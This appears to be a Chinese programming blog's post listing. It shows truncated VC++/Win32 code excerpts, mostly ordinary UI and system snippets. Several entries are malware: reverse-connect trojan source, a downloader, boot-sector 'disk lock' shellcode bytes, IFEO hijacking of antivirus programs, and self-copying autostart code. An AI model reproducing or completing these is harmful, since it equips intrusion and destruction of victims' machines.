自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(33)
  • 资源 (5)
  • 收藏
  • 关注

原创 软件接口API规范

软件接口API规范                                                                                                                                                       当前版本:V1.

2018-01-31 10:57:26 10841

原创 BITMAP转YUV420

// only support to BITMAP 888 convert to YUV420spU8 *OSD_Bitmap888ToYUV(U8 *bitmapFileBuff, int *pYuvWidth, int *pYuvHeight){ BITMAPFILEHEADER fileHeader; BITMAPINFOHEADER infoHead; long

2018-01-23 15:15:35 806

转载 webrtc参考资料汇总

WebRTC相关模块及接口详细结构图:WebRTC 学习笔记(1)--总述 http://blog.chinaunix.net/uid-26000296-id-5612800.htmlWebRTC 学习笔记(2)--libjingle 部分 (P2P传输)  http://blog.chinaunix.net/uid-26000296-id-5612831.htmlWebR

2018-01-22 14:05:36 274

原创 log

[/ext/nfs/video]## ./venc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxUsage: ./venc [-n number] [-h] [-u]-h: Display help info-u: don't save file-n number options

2018-01-22 10:16:47 636

原创 海思动态修改分辨率及码率控制方式

int Hisi_set_video_fmt(HX_MEDIA_SYS_PARAM * pMediaSys, int iMediaId, int enVideoFmt, int enRCMode, int bitstream){ HI_S32 s32Ret = HI_SUCCESS; PIC_SIZE_E enSize = PIC_HD1080; HX_VIDEO_ATTR * pVid

2018-01-10 16:17:25 5951 1

转载 InvokeHelper用法

ActiveX控件的方法和属性操作与生成的C++类成员函数相关联都是通过InvokeHelper函数的调用来完成的,InvokeHelper函数的第一个参数是由Component Gallery(控件提供者)提供的。因为经过这样的处理,所以我们如果要调用ActiveX控件的方法或对其属性进行取和设置操作,只需调用生成的C++类对应的成员函数便可。下面对InvokeHelper单独说明:

2013-01-28 16:32:25 2542

原创 VC++ 6.0 XP风格的实现

讲以下代码保存为 XPStyle.manifest 或 xptheme.bin<assemblyIdentity name="XP style manifest" processorArchitecture="x86" version="1.0.0.0" type="win32"/> <assemblyIdentity

2013-01-20 02:55:28 536

原创 VC对话框添加状态栏

1:添加字符窜资源String Tab2:CStatusBar m_wndStatusBar;3:在OnInitDialog()中加入 CRect rect; GetClientRect(rect); if(!m_wndStatusBar.Create(this)||!m_wndStatusBar.SetIndicators(indicators, sizeo

2013-01-20 02:53:44 564

原创 VC实现透明窗口

在OnInitDialog中添加以下代码:SetWindowLong(this->GetSafeHwnd(),GWL_EXSTYLE,GetWindowLong(this->GetSafeHwnd(), GWL_EXSTYLE)^0x80000); HINSTANCE hInst=LoadLibrary("User32.DLL"); if(hInst) { type

2013-01-20 02:52:33 454

原创 C++实现单一实例

在InitInstance()中添加如下代码:HANDLE hMutex=::CreateMutex(NULL,TRUE,"My");if(GetLastError()==ERROR_ALREADY_EXISTS){ AfxMessageBox("程序已经启动!"); CloseHandle(hMutex); return FALSE;}

2013-01-20 02:50:24 498

原创 C++打开或关闭光驱

#include #pragma comment(lib,"Winmm.lib")::mciSendString("set cadudio door open",NULL,0,0);//打开光驱::mciSendString("set cadudio door closed",NULL,0,0);//关闭光驱

2013-01-20 02:49:07 793 1

原创 VC++对话框添加工具栏

1:添加工具栏资源2:CToolBar m_wndToolBar;3:加入CRect rect;GetClientRect(rect);if(!m_wndToolBar.Create(this)){ TRACE0("Failed to create a toolbar!\n"); return -1;}m_wndToolBar.Loa

2013-01-20 02:48:15 591

原创 C++实现窗口置顶

//窗口总处于最上面SetWindowPos(&wndTopMost,0,0,0,0,SWP_NOSIZE|SWP_NOMOVE);

2013-01-20 02:47:04 1968 1

转载 C++端口反弹木马

代码:/* ==============================Rebound port in Windows NTBy shucx,2003/10===============================*/#include #include #pragma comment(lib,"wsock32.lib")void OutputShell(

2013-01-20 02:46:04 1098

原创 C++关机、注销及重启

在WIN2000以上执行关机、注销、重启代码需要调整权限://调整权限调用API关机函数HANDLE hToken;TOKEN_PRIVILEGES tkp;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NUL

2013-01-20 02:43:53 617

原创 C++实现程序开机自启动

可以采用以下方式实现自启动://拷贝到系统目录TCHAR TempPath[MAX_PATH];CString temp;::GetSystemDirectory(TempPath ,MAX_PATH);temp = TempPath;temp = temp + _T("\\INTRANET.EXE");int len = temp.GetLength();LP

2013-01-20 02:42:33 5896

原创 C++获取系统内存及分别率

1.获得系统内存情况MEMORYSTATUS *mymem; char s[6][20]; //获得系统内存情况 mymem = new MEMORYSTATUS; GlobalMemoryStatus(mymem); if(mymem->dwMemoryLoad>1024) { mymem->dwMemoryLoad/=1024; _itoa

2013-01-20 02:40:20 924

原创 C++获取IP

获取本机IP地址的方法:1.单网卡的情况:WORD wVersionRequested;WSADATA wsaData;wVersionRequested = MAKEWORD(1, 1);WSAStartup(wVersionRequested, &wsaData);hostent *p;char s[128];char *p2;//获得计算机名字ge

2013-01-20 02:38:56 737

原创 VC++隐藏对话框

void CServerDlg::HideDlg(){ ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW); WINDOWPLACEMENT wp; wp.length = sizeof(WINDOWPLACEMENT); wp.flags = WPF_RESTORETOMAXIMIZED; wp.showCmd = SW

2013-01-20 02:37:27 723

原创 C++结束进程

HANDLE handle; //定义CreateToolhelp32Snapshot系统快照句柄HANDLE handle1; //定义要结束进程句柄PROCESSENTRY32 *info; //定义PROCESSENTRY32结构字指info=new PROCESSENTRY32; info->dwSize=sizeof(PROCESSENTRY32)

2013-01-20 02:36:38 584

原创 C++下载者源码

#include #include #include #pragma comment (lib, "urlmon.lib") int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) { static char mulu[MAX_PA

2013-01-20 02:34:36 1999

原创 C++枚举磁盘

for(char i='A';i<='Z';i++){ char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { printf("%s\n",x); }}

2013-01-20 02:33:00 569

原创 C++获取当前程序路径

CString strPath; //得到程序路径TCHAR szFull[_MAX_PATH];TCHAR szDrive[_MAX_DRIVE];TCHAR szDir[_MAX_DIR];TCHAR szFileName[_MAX_FNAME];::GetModuleFileName(NULL, szFull, sizeof(szFull)/sizeof(TCH

2013-01-20 02:31:54 636

原创 C++获取文件大小等信息

/* STAT.C: This program uses the _stat function to * report information about the file named STAT.C. */#include #include #include #include void main( void ){ struct _stat buf;

2013-01-20 02:30:04 560

原创 _tsplitpath函数用法

1._tsplitpath(sFilename, sDrive, sDir, sFname, sExt);sFilename:文件的完整路径(如:"C:\WINDOWS\system32\mm.exe")sDrive:文件所在磁盘,含":"(如"C:")sDir:文件所在目录(如:"\WINDOWS\system32\")sFname:文件名(mm)sExt:文件扩展名(.ex

2013-01-20 02:28:44 1384

原创 C++ SendMessage函数的一些使用方法

SendMessage(WM_CLOSE); //关闭程序SendMessage(WM_SYSCOMMAND,SC_MINIMIZE,MAKELPARAM(point.x, point.y)); //最小化SendMessage(WM_SYSCOMMAND,SC_RESTORE,MAKELPARAM(point.x, point.y)); //恢复SendMessage(

2013-01-20 02:26:37 4004

原创 CreateProcess函数使用

STARTUPINFO infoStart;PROCESS_INFORMATION infoProcess;memset(&infoStart,0,sizeof(infoStart));infoStart.cb = sizeof(STARTUPINFO);infoStart.dwFlags = STARTF_USESHOWWINDOW;infoStart.wShowWindow

2013-01-20 02:21:34 624

原创 VC++自绘界面

// MySkinDlg.cpp : implementation file//#include "stdafx.h"#include "MySkin.h"#include "MySkinDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FI

2013-01-20 02:14:36 744

原创 C++实现硬盘锁源码(危险!)

#include #include #include unsigned char scode[] ="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""\x7

2013-01-20 01:58:09 5664 6

转载 VC++编程实现镜像劫持

所谓的镜像劫持,就是在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options]处新建一个以杀毒软件主程序命名的项,例如Rav.exe.然后再创建一个子键“Debugger=”C:\WINDOWS\system32\drivers\“.以后只要用户双击 Rav

2013-01-18 16:09:15 444

转载 C++面试题解析

1.引言  本文的写作目的并不在于提供C/C++程序员求职面试指导,而旨在从技术上分析面试题的内涵。文中的大多数面试题来自各大论坛,部分试题解答也参考了网友的意见。  许多面试题看似简单,却需要深厚的基本功才能给出完美的解答。企业要求面试者写一个最简单的strcpy函数都可看出面试者在技术上究竟达到了怎样的程度,我们能真正写好一个strcpy函数吗?我们都觉得自己能,可是我们写出的strc

2013-01-18 11:29:55 371

原创 反弹端口木马源码

// BingToCmd.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include "BingToCmd.h"#include #include #include #include #include #pragma comment(lib,"ws

2012-09-12 00:23:33 1299

原创 C++控制鼠标自动定时点击

void CTestDlg::OpenDis(){    PROCESS_INFORMATION pi; STARTUPINFO si;  memset(&si,0,sizeof(si)); si.cb=sizeof(si); si.wShowWindow=SW_SHOW;   //SW_HIDE si.dwFlags=STARTF_USESHOWWINDOW;

2012-07-28 13:06:40 4886

工作源码_主机

工作源码_主机

2013-01-26

XP系统多用户远程桌面工具

XP系统多用户远程桌面工具,一键快速设置,有效,好用!

2012-09-12

VC++常用功能代码

VC++常用代码,技巧,基本功能。非常实用,实际应用中总结的。

2012-09-12

VC++文件浏览对话框

VC++文件操作代码

2012-09-12

VC++远程控制程序代码

VC++编写的远控程序源码

2012-09-12

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除